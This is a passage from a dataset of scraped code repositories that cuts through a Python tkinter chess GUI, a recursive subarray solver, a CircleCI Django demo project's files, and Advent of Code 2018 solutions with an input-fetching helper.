self.chessboard[1][0] = leftKnight\r\n self.chessboard[1][0].placethegodamnbutton(1,1)\r\n self.chessboard[1][0].button.place(x=SQUARESIZE, y = 0)\r\n rightKnight = KnightButton(theboard)\r\n self.chessboard[6][0] = rightKnight\r\n self.chessboard[6][0].placethegodamnbutton(0,1)\r\n self.chessboard[6][0].button.place(x=6*SQUARESIZE, y = 0)\r\n #################################\r\n leftRook = RookButton(theboard)\r\n self.chessboard[0][0] = leftRook\r\n self.chessboard[0][0].placethegodamnbutton(0,1,0,0)\r\n self.chessboard[0][0].button.place(x=0, y = 0)\r\n rightRook = RookButton(theboard)\r\n self.chessboard[7][0] = rightRook\r\n self.chessboard[7][0].placethegodamnbutton(1,1,7,0)\r\n self.chessboard[7][0].button.place(x=7*SQUARESIZE, y = 0)\r\n ################################\r\n var = 1\r\n for pos in range(8):\r\n pawn = PawnButton(theboard)\r\n self.chessboard[pos][1] = pawn\r\n self.chessboard[pos][1].placethegodamnbutton(var,1,pos,1)\r\n self.chessboard[pos][1].button.place(x = pos*60, y = SQUARESIZE)\r\n if var == 1:\r\n var = 0\r\n else:\r\n var = 1\r\n ###WHITE PIECES HERE############\r\n blackKing = KingButton(theboard)\r\n self.chessboard[4][7] = blackKing\r\n self.chessboard[4][7].placethegodamnbutton(1,0)\r\n self.chessboard[4][7].button.place(x = 4*SQUARESIZE, y = 7*SQUARESIZE)\r\n ##################################\r\n blackQueen = QueenButton(theboard)\r\n self.chessboard[3][7] = blackQueen\r\n self.chessboard[3][7].placethegodamnbutton(0,0)\r\n self.chessboard[3][7].button.place(x=3*SQUARESIZE, y = 7*SQUARESIZE)\r\n ##################################\r\n leftBishop = BishopButton(theboard)\r\n self.chessboard[2][7]= leftBishop\r\n self.chessboard[2][7].placethegodamnbutton(1,0)\r\n self.chessboard[2][7].button.place(x = 2*SQUARESIZE, y = 7*SQUARESIZE)\r\n rightBishop= BishopButton(theboard)\r\n self.chessboard[5][7] = rightBishop\r\n self.chessboard[5][7].placethegodamnbutton(0,0)\r\n self.chessboard[5][7].button.place(x = 5*SQUARESIZE, y = 7*SQUARESIZE)\r\n #################################\r\n leftKnight = KnightButton(theboard)\r\n self.chessboard[1][7] = leftKnight\r\n self.chessboard[1][7].placethegodamnbutton(0,0)\r\n self.chessboard[1][7].button.place(x=SQUARESIZE, y = 7*SQUARESIZE)\r\n rightKnight = KnightButton(theboard)\r\n self.chessboard[6][7] = rightKnight\r\n self.chessboard[6][7].placethegodamnbutton(1,0)\r\n self.chessboard[6][7].button.place(x=6*SQUARESIZE, y = 7*SQUARESIZE)\r\n #################################\r\n leftRook = RookButton(theboard)\r\n self.chessboard[0][7] = leftRook\r\n self.chessboard[0][7].placethegodamnbutton(1,0,0,7)\r\n self.chessboard[0][7].button.place(x=0, y = 7*SQUARESIZE)\r\n rightRook = RookButton(theboard)\r\n self.chessboard[7][7] = rightRook\r\n self.chessboard[7][7].placethegodamnbutton(0,0,7,7)\r\n self.chessboard[7][7].button.place(x=7*SQUARESIZE, y = 7*SQUARESIZE)\r\n ################################\r\n var = 0\r\n for pos in range(8):\r\n pawn = PawnButton(theboard)\r\n self.chessboard[pos][6] = pawn\r\n self.chessboard[pos][6].placethegodamnbutton(var,0,pos,6)\r\n self.chessboard[pos][6].button.place(x = pos*60, y = SQUARESIZE*6)\r\n if var == 1:\r\n var = 0\r\n else:\r\n var = 1\r\n\r\n #####Initialize Empty Squares##\r\n var = 1\r\n for r in range(2,6):\r\n if var == 0:\r\n var = 1\r\n else:\r\n var = 0\r\n for c in range(8):\r\n empty = EmptyButton(theboard)\r\n self.chessboard[c][r] = empty\r\n self.chessboard[c][r].placethegodamnbutton(var)\r\n self.chessboard[c][r].button.place(x = c*SQUARESIZE, y = r*SQUARESIZE)\r\n if var == 0:\r\n var = 1\r\n else:\r\n var = 0\r\n print(\"all placed\")\r\n\r\n def game(self, master):\r\n self.updateboardstate()\r\n \r\n \r\n\r\n \r\n def updateboardstate(self):\r\n for pawn in range(8):\r\n self.chessboard[pawn][6].boardstate = self.chessboard\r\n self.chessboard[pawn][1].boardstate = self.chessboard\r\n ##############ROOKS############################### \r\n self.chessboard[0][0].boardstate = self.chessboard\r\n self.chessboard[7][0].boardstate = self.chessboard\r\n self.chessboard[0][7].boardstate = self.chessboard\r\n self.chessboard[7][7].boardstate = self.chessboard\r\n ##################################################\r\n print(\"updated pawn states\")\r\n \r\n\r\n \r\n\r\ndef startthemusic():\r\n pygame.init()\r\n pygame.mixer.music.load(\"Last Surprise.mp3\")\r\n pygame.mixer.music.play()\r\n\r\n\r\nroot = tk.Tk()\r\n\r\n\r\napp = Application(master=root)\r\napp.mainloop()\r\npygame.quit()\r\n" } ]
2
EricSchles/recursive_shortest_subarray
https://github.com/EricSchles/recursive_shortest_subarray
20f15436f45e6baae31afeb8d29e365e1eafd181
0b0c9fe6d0baa0bd2ad22e65d98b3716040b38f5
6d97a7a268301290a998d34bcd27def274c22c5f
refs/heads/master
2021-05-12T05:24:30.569041
2018-01-12T13:30:55
2018-01-12T13:30:55
117,192,700
0
1
null
null
null
null
null
[ { "alpha_fraction": 0.5695035457611084, "alphanum_fraction": 0.590070903301239, "avg_line_length": 38.16666793823242, "blob_id": "9ff8c550c1ceb1e7f90afb0d19c80954b6ddc226", "content_id": "90423d69578e755a424259689dc3147de009217a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1410, "license_type": "no_license", "max_line_length": 85, "num_lines": 36, "path": "/solution.py", "repo_name": "EricSchles/recursive_shortest_subarray", "src_encoding": "UTF-8", "text": "import random\nset_of_ints = set([1,2,3])\nrandom_arr = [random.randint(0,20) for _ in range(40)]\n\n# given a set of integers\n# and an array of random integers\n# find the shortest continous subarray that contains all the values from the set\ndef find_subarray(random_arr, set_of_ints):\n if len(random_arr) == 0:\n return None\n if len(random_arr) == len(set_of_ints):\n if set(random_arr) == set_of_ints:\n return random_arr\n else:\n return None\n elif (random_arr[0] in set_of_ints) and (random_arr[-1] in set_of_ints):\n if (random_arr[0] in random_arr[1:]) and (random_arr[-1] in random_arr[:-1]):\n return find_subarray(random_arr[1:-1], set_of_ints)\n elif random_arr[0] in random_arr[1:]:\n return find_subarray(random_arr[1:], set_of_ints)\n elif random_arr[-1] in random_arr[:-1]:\n return find_subarray(random_arr[:-1], set_of_ints)\n else:\n arr = set(random_arr)\n if set_of_ints.issubset(arr):\n return random_arr\n \n else:\n if random_arr[0] in set_of_ints:\n return find_subarray(random_arr[:-1], set_of_ints)\n elif random_arr[-1] in set_of_ints:\n return find_subarray(random_arr[1:], set_of_ints)\n else:\n return find_subarray(random_arr[1:-1], set_of_ints)\n\nprint(find_subarray(random_arr, set_of_ints))\n" } ]
1
CircleCI-Public/circleci-demo-python-django
https://github.com/CircleCI-Public/circleci-demo-python-django
9298b8167fe1b3a10c91cabe540ab5759cd2c130
2bbf84b270e6de0888ea7f551a749b938f6194ba
85a718eca22f79c7b140615c9c8643bc148a5ba8
refs/heads/master
2023-04-30T02:24:06.716277
2022-01-14T19:49:12
2022-01-14T19:49:12
89,367,810
127
428
CC0-1.0
2017-04-25T14:07:09
2023-04-16T16:18:53
2023-04-21T20:53:13
Python
[ { "alpha_fraction": 0.7555555701255798, "alphanum_fraction": 0.7555555701255798, "avg_line_length": 44, "blob_id": "cd0bdb10f8412dce35f69de3b270b3d02bca720a", "content_id": "2eaea55b3192ba1d9b01795165caa39105df6bf0", "detected_licenses": [ "CC-BY-NC-SA-4.0", "CC-BY-NC-4.0", "CC-BY-NC-SA-3.0", "CC0-1.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 45, "license_type": "permissive", "max_line_length": 44, "num_lines": 1, "path": "/Procfile", "repo_name": "CircleCI-Public/circleci-demo-python-django", "src_encoding": "UTF-8", "text": "web: gunicorn locallibrary.wsgi --log-file -\n" }, { "alpha_fraction": 0.7821741104125977, "alphanum_fraction": 0.7892544865608215, "avg_line_length": 62.157894134521484, "blob_id": "547607d077264e926dbd21a98cff7b1b5b1fdef0", "content_id": "7c4b27be9634def6c7867463631e3aa97e5611cb", "detected_licenses": [ "CC-BY-NC-SA-4.0", "CC-BY-NC-4.0", "CC-BY-NC-SA-3.0", "CC0-1.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2401, "license_type": "permissive", "max_line_length": 327, "num_lines": 38, "path": "/README.md", "repo_name": "CircleCI-Public/circleci-demo-python-django", "src_encoding": "UTF-8", "text": "# CircleCI Demo Application: Python / Django\n\n[![CircleCI](https://circleci.com/gh/CircleCI-Public/circleci-demo-python-django.svg?style=svg)](https://circleci.com/gh/CircleCI-Public/circleci-demo-python-django)\n\nThis is an example application showcasing how to build test and deploy a Django app on CircleCI 2.0.\n\nYou can follow along with this project by reading the [documentation](https://circleci.com/docs/2.0/language-python/).\n\n## Features of the demo\n\n- regularly updated to use latest Python and Django (currently Python 3.6.4 and Django 2.0.1)\n- uses [pipenv](http://pipenv.readthedocs.io/en/latest/) to install and manage dependencies and virtualenvs on CircleCI\n- shows usage of caching on CircleCI 2.0 to speed up builds. Makes use of Ppipfile.lock to invalidate cache if dependencies change\n- runs tests against a PostgreSQL database\n- store and upload test result in Junit XML format with [unittest-xml-reporting](https://github.com/xmlrunner/unittest-xml-reporting) to enable Test Summary and Insights on CircleCI\n\n## About the app: django_local_library\n\nTutorial \"Local Library\" website written in Django. This is based on the excellent [MDN Django tutorial.](https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website).\n\n----\n\nThis web application creates an online catalog for a small local library, where users can browse available books and manage their accounts.\n\nThe main features that have currently been implemented are:\n\n* There are models for books, book copies, genre, language and authors.\n* Users can view list and detail information for books and authors.\n* Admin users can create and manage models. The admin has been optimised (the basic registration is present in admin.py, but commented out).\n* Librarians can renew reserved books\n\n![Local Library Model](https://github.com/mdn/django-locallibrary-tutorial/blob/master/catalog/static/images/local_library_model_uml.png)\n\n## License Information\n\nDocumentation (guides, references, and associated images) is licensed as Creative Commons Attribution-NonCommercial-ShareAlike CC BY-NC-SA. The full license can be found [here](http://creativecommons.org/licenses/by-nc-sa/4.0/legalcode), and the human-readable summary [here](http://creativecommons.org/licenses/by-nc-sa/4.0/).\n\nEverything in this repository not covered above is licensed under the [included CC0 license](LICENSE).\n\n" }, { "alpha_fraction": 0.5348837375640869, "alphanum_fraction": 0.6810631155967712, "avg_line_length": 29.100000381469727, "blob_id": "dbec2da381aa6373017bfdcec2811231a2bbe5e9", "content_id": "d4b992b1675b4d1cdec4f2284fb89404842d462e", "detected_licenses": [ "CC-BY-NC-SA-4.0", "CC-BY-NC-4.0", "CC-BY-NC-SA-3.0", "CC0-1.0" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 301, "license_type": "permissive", "max_line_length": 87, "num_lines": 10, "path": "/requirements.txt", "repo_name": "CircleCI-Public/circleci-demo-python-django", "src_encoding": "UTF-8", "text": "-i https://pypi.python.org/simple\nasgiref==3.2.10; python_version >= '3.5'\ndj-database-url==0.5.0\ndjango==3.1.1\ngunicorn==20.0.4\npsycopg2-binary==2.8.6\npytz==2020.1\nsqlparse==0.3.1; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'\nunittest-xml-reporting==3.0.4\nwhitenoise==5.2.0\n" }, { "alpha_fraction": 0.4542124569416046, "alphanum_fraction": 0.6263736486434937, "avg_line_length": 18.5, "blob_id": "670d8d0761ef530e175f9746a10a0441cbee4be0", "content_id": "7aa827912dff51a956c28dacda103d7acd496f26", "detected_licenses": [ "CC-BY-NC-SA-4.0", "CC-BY-NC-4.0", "CC-BY-NC-SA-3.0", "CC0-1.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 273, "license_type": "permissive", "max_line_length": 47, "num_lines": 14, "path": "/catalog/migrations/0022_merge_20180115_2033.py", "repo_name": "CircleCI-Public/circleci-demo-python-django", "src_encoding": "UTF-8", "text": "# Generated by Django 2.0.1 on 2018-01-15 20:33\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('catalog', '0021_auto_20171229_1056'),\n ('catalog', '0021_auto_20170504_1512'),\n ]\n\n operations = [\n ]\n" } ]
4
DesmoAlex/ReinforcementLearning_UniStgt
https://github.com/DesmoAlex/ReinforcementLearning_UniStgt
5dc994e7b5c980b63800af9383700e7c54e51755
3d0cf7cc1684daf63deb734e882899ce2fe3af9a
e047f630de3ec0ace95bc9d0e6786f3b9d10c4c9
refs/heads/master
2023-06-17T21:41:06.525327
2021-07-13T07:05:33
2021-07-13T07:05:33
361,123,613
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6780626773834229, "alphanum_fraction": 0.7122507095336914, "avg_line_length": 26, "blob_id": "4a8cfea9b408c16ecb9e8d8ee5c34fa43335958a", "content_id": "35b12819b432a634d5f3fd9ba5f660e736774239", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 351, "license_type": "permissive", "max_line_length": 78, "num_lines": 13, "path": "/ex08-nstep/ex08-nstep.py", "repo_name": "DesmoAlex/ReinforcementLearning_UniStgt", "src_encoding": "UTF-8", "text": "import gym\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef nstep_sarsa(env, n=1, alpha=0.1, gamma=0.9, epsilon=0.1, num_ep=int(1e4)):\n \"\"\" TODO: implement the n-step sarsa algorithm \"\"\"\n pass\n\n\nenv=gym.make('FrozenLake-v0', map_name=\"8x8\")\n# TODO: run multiple times, evaluate the performance for different n and alpha\nnstep_sarsa(env)\n" }, { "alpha_fraction": 0.582524299621582, "alphanum_fraction": 0.5841423869132996, "avg_line_length": 21.071428298950195, "blob_id": "fe99ece75e4bb6412e71301632a7bcc98c1e8aab", "content_id": "a8b8c19a5446a1f4453727e6fe8fcdda9d2ad6d3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 618, "license_type": "permissive", "max_line_length": 74, "num_lines": 28, "path": "/ex07-fa/ex07-fa.py", "repo_name": "DesmoAlex/ReinforcementLearning_UniStgt", "src_encoding": "UTF-8", "text": "import gym\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef random_episode(env):\n \"\"\" This is an example performing random actions on the environment\"\"\"\n while True:\n env.render()\n action = env.action_space.sample()\n print(\"do action: \", action)\n observation, reward, done, info = env.step(action)\n print(\"observation: \", observation)\n print(\"reward: \", reward)\n print(\"\")\n if done:\n break\n\n\ndef main():\n env = gym.make('MountainCar-v0')\n env.reset()\n random_episode(env)\n env.close()\n\n\nif __name__ == \"__main__\":\n main()\n" }, { "alpha_fraction": 0.5904114842414856, "alphanum_fraction": 0.5975840091705322, "avg_line_length": 31.30487823486328, "blob_id": "c7c9d211cc29dbbf902c026685143294750d3820", "content_id": "e09c0601bd26ad400062163006a5d0e07521e6e6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2649, "license_type": "permissive", "max_line_length": 104, "num_lines": 82, "path": "/ex06-plan/ex06-plan.py", "repo_name": "DesmoAlex/ReinforcementLearning_UniStgt", "src_encoding": "UTF-8", "text": "import gym\nimport copy\nimport random\nimport numpy as np\n\nclass Node:\n def __init__(self, parent=None, action=None):\n self.parent = parent # parent of this node\n self.action = action # action leading from parent to this node\n self.children = []\n self.sum_value = 0. # sum of values observed for this node, use sum_value/visits for the mean\n self.visits = 0\n\n\ndef rollout(env, maxsteps=100):\n \"\"\" Random policy for rollouts \"\"\"\n G = 0\n for i in range(maxsteps):\n action = env.action_space.sample()\n _, reward, terminal, _ = env.step(action)\n G += reward\n if terminal:\n return G\n return G\n\n\ndef mcts(env, root, maxiter=500):\n \"\"\" TODO: Use this function as a starting point for implementing Monte Carlo Tree Search\n \"\"\"\n\n # this is an example of how to add nodes to the root for all possible actions:\n root.children = [Node(root, a) for a in range(env.action_space.n)]\n\n for i in range(maxiter):\n state = copy.deepcopy(env)\n G = 0.\n\n # TODO: traverse the tree using an epsilon greedy tree policy\n # This is an example howto randomly choose a node and perform the action:\n node = random.choice(root.children)\n _, reward, terminal, _ = state.step(node.action)\n G += reward\n\n # TODO: Expansion of tree\n\n # This performs a rollout (Simulation):\n if not terminal:\n G += rollout(state)\n\n # TODO: update all visited nodes in the tree\n # This updates values for the current node:\n node.visits += 1\n node.sum_value += G\n\n\n\n\ndef main():\n env = gym.make(\"Taxi-v3\")\n env.seed(0) # use seed to make results better comparable\n # run the algorithm 10 times:\n rewards = []\n for i in range(10):\n env.reset()\n terminal = False\n root = Node() # Initialize empty tree\n sum_reward = 0.\n while not terminal:\n env.render()\n mcts(env, root) # expand tree from root node using mcts\n values = [c.sum_value/c.visits for c in root.children] # calculate values for child actions\n bestchild = root.children[np.argmax(values)] # select the best child\n _, reward, terminal, _ = env.step(bestchild.action) # perform action for child\n root = bestchild # use the best child as next root\n root.parent = None\n sum_reward += reward\n rewards.append(sum_reward)\n print(\"finished run \" + str(i+1) + \" with reward: \" + str(sum_reward))\n print(\"mean reward: \", np.mean(rewards))\n\nif __name__ == \"__main__\":\n main()\n" } ]
3
MRSharff/adventofcode
https://github.com/MRSharff/adventofcode
931f89040415dd17117d6f5283881c745ac62936
c32baff6d2da21bda49787061701bd3bbf789669
c47bbd6afaae6bad03bc11903071d50244a91ad7
refs/heads/master
2020-04-09T05:53:05.880301
2019-04-01T20:58:35
2019-04-01T20:58:35
160,084,800
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5815047025680542, "alphanum_fraction": 0.6081504821777344, "avg_line_length": 25.58333396911621, "blob_id": "fdd37ef78df9ea5745693a80bc6fb9e92a369bc8", "content_id": "2624d4dfa6f7be32fc16283aba8dd727cf6fd7fc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1276, "license_type": "no_license", "max_line_length": 103, "num_lines": 48, "path": "/2018/day8.py", "repo_name": "MRSharff/adventofcode", "src_encoding": "UTF-8", "text": "class Node:\n\n def __init__(self, license_iter) -> None:\n super().__init__()\n self.child_count = next(license_iter)\n self.metadata_count = next(license_iter)\n self.child_nodes = [Node(license_iter) for _ in range(self.child_count)]\n self.metadata = [next(license_iter) for _ in range(self.metadata_count)]\n\n\nclass Tree:\n\n def __init__(self, license_file) -> None:\n super().__init__()\n self.root = Node(iter(int(d) for d in license_file.split(' ')))\n\n\ndef node_value(node):\n if node.child_count == 0:\n return sum(node.metadata)\n else:\n return sum(0 if index - 1 >= len(node.child_nodes) else node_value(node.child_nodes[index - 1])\n for index in node.metadata)\n\n\ndef checksum(node):\n if node.child_count == 0:\n return sum(node.metadata)\n else:\n return sum(checksum(n) for n in node.child_nodes) + sum(node.metadata)\n\n\ndef part1(license_file):\n return checksum(Tree(license_file).root)\n\n\ndef part2(license_file):\n return node_value(Tree(license_file).root)\n\n\ndef tests():\n test_license_file = '2 3 0 3 10 11 12 1 1 0 1 99 2 1 1 2'\n assert part1(test_license_file) == 138\n assert part2(test_license_file) == 66\n\n\nif __name__ == '__main__':\n tests()\n" }, { "alpha_fraction": 0.6784452199935913, "alphanum_fraction": 0.6908127069473267, "avg_line_length": 22.58333396911621, "blob_id": "0ed1e54c41bdc1d4a62ad2f53b6668addc696030", "content_id": "d27efae11820b1d634027050680032ea5ff3cf28", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 566, "license_type": "no_license", "max_line_length": 62, "num_lines": 24, "path": "/2018/day1.py", "repo_name": "MRSharff/adventofcode", "src_encoding": "UTF-8", "text": "from itertools import cycle\n\n\nresulting_frequency = sum\n\n\ndef calibration_frequency(frequencies):\n seen = set()\n running_sum = 0\n for frequency in frequencies:\n running_sum += frequency\n if running_sum in seen:\n return running_sum\n seen.add(running_sum)\n\n\ndef part1(day1input):\n frequencies = [int(num) for num in day1input.splitlines()]\n return resulting_frequency(frequencies)\n\n\ndef part2(day1input):\n frequencies = [int(num) for num in day1input.splitlines()]\n return calibration_frequency(cycle(frequencies))\n" }, { "alpha_fraction": 0.6695929765701294, "alphanum_fraction": 0.6743814945220947, "avg_line_length": 32.864864349365234, "blob_id": "75435a0ef9303dc0bad9114918fcbed1695f9822", "content_id": "bb6e523bb27c59088472b511878cc0d62f32ea90", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2506, "license_type": "no_license", "max_line_length": 120, "num_lines": 74, "path": "/2018/day4.py", "repo_name": "MRSharff/adventofcode", "src_encoding": "UTF-8", "text": "import datetime\n\nfrom collections import defaultdict\n\n\ndef parse_date(log_line):\n date_string = log_line[log_line.index('[') + 1:log_line.index(']')]\n return datetime.datetime.strptime(date_string, '%Y-%m-%d %H:%M')\n\n\ndef get_guard_number(log_line):\n guard_fh = log_line[log_line.index('#') + 1:]\n return int(guard_fh[:guard_fh.index(' ')])\n\n\ndef get_guards(schedule_log):\n guards = {}\n current_guard = None\n sleep_start = None\n for log_line in schedule_log:\n if \"Guard\" in log_line:\n guard_number = get_guard_number(log_line)\n if guard_number not in guards:\n guards[guard_number] = []\n current_guard = guards[guard_number]\n if 'sleep' in log_line:\n sleep_start = parse_date(log_line).minute\n if 'wake' in log_line:\n current_guard.append(range(sleep_start, parse_date(log_line).minute))\n return guards\n\n\ndef get_total_sleep(sleep_ranges):\n return sum(len(sleep) for sleep in sleep_ranges)\n\n\ndef get_sleepiest_guard(guards):\n return max(guards, key=sum)\n\n\ndef get_minutes_slept(sleep_ranges):\n minutes_slept = defaultdict(int)\n for sleep in sleep_ranges:\n for minute in sleep:\n minutes_slept[minute] += 1\n return minutes_slept\n\n\ndef get_sleepiest_minute(sleep_ranges):\n minutes_slept = get_minutes_slept(sleep_ranges)\n minute = max(minutes_slept, key=minutes_slept.get)\n return minute, minutes_slept[minute]\n\n\ndef get_guard_most_frequently_asleep_on_same_minute(guards):\n sleepiest_minute_counts = {guard: get_sleepiest_minute(sleep_ranges)[1] for guard, sleep_ranges in guards.items() if\n len(sleep_ranges) > 0}\n return max(sleepiest_minute_counts, key=sleepiest_minute_counts.get)\n\n\ndef part1(day4_input):\n schedule_log = sorted(day4_input.splitlines())\n guards = get_guards(schedule_log)\n sleepiest_guard = max(guards, key=lambda x: get_total_sleep(guards[x]))\n minute_asleep_most, count = get_sleepiest_minute(guards[sleepiest_guard])\n return sleepiest_guard * minute_asleep_most\n\n\ndef part2(day4_input):\n schedule_log = sorted(day4_input.splitlines())\n guards = get_guards(schedule_log)\n guard_most_frequently_asleep_on_same_minute = get_guard_most_frequently_asleep_on_same_minute(guards)\n sleepiest_minute_of_guard = get_sleepiest_minute(guards[guard_most_frequently_asleep_on_same_minute])[0]\n return guard_most_frequently_asleep_on_same_minute * sleepiest_minute_of_guard\n" }, { "alpha_fraction": 0.629655659198761, "alphanum_fraction": 0.6416022777557373, "avg_line_length": 26.901960372924805, "blob_id": "8afd548dce439709fc4dbbf6e60f9d1cc70abed8", "content_id": "95e2424b9f244ff2bb486d5699d61ebd8ad9c624", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1423, "license_type": "no_license", "max_line_length": 105, "num_lines": 51, "path": "/2018/day3.py", "repo_name": "MRSharff/adventofcode", "src_encoding": "UTF-8", "text": "import re\n\nfrom collections import defaultdict\n\n\ndef claim_coordinates(claim):\n for x in range(int(claim['left_edge']), int(claim['left_edge']) + int(claim['width'])):\n for y in range(int(claim['top_edge']), int(claim['top_edge']) + int(claim['height'])):\n yield x, y\n\n\ndef get_claimed_fabric(claims):\n fabric = defaultdict(int)\n for claim in claims:\n for x, y in claim_coordinates(claim):\n fabric[(x, y)] += 1\n return fabric\n\n\ndef get_overlapping_area_of_claims(fabric):\n return sum(1 for coord in fabric.values() if coord > 1)\n\n\ndef get_claims(day3input):\n r = re.compile('#(?P<ID>\\d+) @ (?P<left_edge>\\d+),(?P<top_edge>\\d+): (?P<width>\\d+)x(?P<height>\\d+)')\n return [m.groupdict() for m in r.finditer(day3input)]\n\n\ndef claim_overlaps(claim, fabric):\n for x, y in claim_coordinates(claim):\n if fabric[(x, y)] > 1:\n return True\n return False\n\n\ndef get_perfect_claim_id(claims, fabric):\n for claim in claims:\n if not claim_overlaps(claim, fabric):\n return claim['ID']\n\n\ndef part1(day3input):\n day3_claims = get_claims(day3input)\n claimed_fabric = get_claimed_fabric(day3_claims)\n return get_overlapping_area_of_claims(claimed_fabric)\n\n\ndef part2(day3input):\n day3_claims = get_claims(day3input)\n claimed_fabric = get_claimed_fabric(day3_claims)\n return get_perfect_claim_id(day3_claims, claimed_fabric)\n" }, { "alpha_fraction": 0.6813365817070007, "alphanum_fraction": 0.684596598148346, "avg_line_length": 27.55813980102539, "blob_id": "660adb4105b6fc90feae3fdb1fe04221b1db98f4", "content_id": "631a03b9003069c2f847278891bac16cc7e521f2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1227, "license_type": "no_license", "max_line_length": 115, "num_lines": 43, "path": "/advent_of_code.py", "repo_name": "MRSharff/adventofcode", "src_encoding": "UTF-8", "text": "import os\n\nimport requests\n\ntry:\n session = os.environ['advent_session_cookie']\nexcept KeyError:\n session = None\n\n\nclass AdventOfCodeException(Exception):\n pass\n\n\ndef get_cached_input(input_file_path):\n with open(input_file_path) as advent_input_file:\n advent_input = advent_input_file.read()\n return advent_input\n\n\ndef write_response(input_path, response):\n os.makedirs(os.path.dirname(input_path), exist_ok=True)\n with open(input_path, 'w') as advent_input:\n advent_input.write(response.text)\n\n\ndef fetch_day_input(day):\n response = requests.get('https://adventofcode.com/2018/day/{}/input'.format(day), cookies={'session': session})\n if not response.ok:\n raise AdventOfCodeException('Could not get day input: bad response code {}'.format(response.status_code))\n return response\n\n\ndef get_day_input(day):\n input_file_path = 'inputs/day{}.txt'.format(day)\n try:\n return get_cached_input(input_file_path).strip()\n except FileNotFoundError:\n if session is None:\n raise AdventOfCodeException('No session defined')\n response = fetch_day_input(day)\n write_response(input_file_path, response)\n return response.text.strip()" }, { "alpha_fraction": 0.6275861859321594, "alphanum_fraction": 0.6341198086738586, "avg_line_length": 28.94565200805664, "blob_id": "e397c287e3c0cebcaf60bcc751b2c9b8198a43d4", "content_id": "6b79be55708450210573b14e54607a7e89d93216", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2755, "license_type": "no_license", "max_line_length": 118, "num_lines": 92, "path": "/2018/day7.py", "repo_name": "MRSharff/adventofcode", "src_encoding": "UTF-8", "text": "import re\n\nfrom collections import defaultdict\n\n\nseconds_per_step = 60\nworker_count = 5\n\n\ndef get_available_steps(steps):\n counts = defaultdict(int)\n for step, dependencies in steps.items():\n for dependency in dependencies:\n counts[dependency] += 1\n return [dependency for dependency in steps if counts[dependency] == 0]\n\n\ndef part1(steps_input):\n steps = get_steps(steps_input.strip().splitlines())\n step_order = []\n while len(steps) > 0:\n available_steps = sorted(get_available_steps(steps))\n selected = min(available_steps)\n step_order.append(selected)\n steps.pop(selected)\n return ''.join(step_order)\n\n\ndef get_total_time(step):\n return ord(step) - 64 + seconds_per_step\n\n\ndef get_steps(step_instructions):\n steps = {}\n for instruction in step_instructions:\n prereq, step = re.search('Step ([A-Z]) must be finished before step ([A-Z]) can begin.', instruction).groups()\n if prereq not in steps:\n steps[prereq] = []\n if step not in steps:\n steps[step] = []\n steps[prereq].append(step)\n return steps\n\n\ndef part2(steps_input):\n # steps is a graph implemented with a simple dictionary used for a directed acyclic graph vertex: edge list\n steps = get_steps(steps_input.strip().splitlines())\n\n current_jobs = {}\n available_steps = get_available_steps(steps)\n total_time = 0\n while len(available_steps) > 0:\n # assign jobs\n for step in sorted(available_steps):\n if len(current_jobs) < worker_count and step not in current_jobs:\n current_jobs[step] = get_total_time(step)\n # do work\n time_worked = min(current_jobs.values())\n for job, time_left in current_jobs.copy().items():\n if time_left == time_worked:\n steps.pop(job)\n current_jobs.pop(job)\n else:\n current_jobs[job] -= time_worked\n\n total_time += time_worked\n available_steps = get_available_steps(steps)\n return total_time\n\n\ndef test():\n test_input = \"\"\"Step C must be finished before step A can begin.\nStep C must be finished before step F can begin.\nStep A must be finished before step B can begin.\nStep A must be finished before step D can begin.\nStep B must be finished before step E can begin.\nStep D must be finished before step E can begin.\nStep F must be finished before step E can begin.\"\"\"\n\n global seconds_per_step, worker_count\n twc = worker_count\n worker_count = 2\n tsps = seconds_per_step\n seconds_per_step = 0\n assert part1(test_input) == 'CABDFE'\n assert part2(test_input) == 15\n seconds_per_step = tsps\n worker_count = twc\n\n\nif __name__ == '__main__':\n test()\n" }, { "alpha_fraction": 0.6249197125434875, "alphanum_fraction": 0.6339113712310791, "avg_line_length": 25.389829635620117, "blob_id": "1b9b542cb8f0c1ea4eac9b7ae742676d9bbd1f58", "content_id": "ec9b12687b85ab78ab78d8fd7cc04b9d550ee8fe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1557, "license_type": "no_license", "max_line_length": 82, "num_lines": 59, "path": "/2018/day5.py", "repo_name": "MRSharff/adventofcode", "src_encoding": "UTF-8", "text": "import string\n\ndef annihilates(unit1, unit2):\n return abs(ord(unit1) - ord(unit2)) == 32\n\n\ndef react(polymer):\n catalyzed_polymer = []\n for unit in polymer:\n if catalyzed_polymer and annihilates(catalyzed_polymer[-1], unit):\n catalyzed_polymer.pop()\n else:\n catalyzed_polymer.append(unit)\n return ''.join(catalyzed_polymer)\n\n\ndef remove_all(unit, polymer):\n return polymer.replace(unit, '').replace(unit.upper(), '')\n\n\ndef tests():\n test_polymer = 'dabAcCaCBAcCcaDA'\n\n assert react(test_polymer) == 'dabCBAcaDA'\n\n assert react('aA') == ''\n assert react('abBA') == ''\n assert 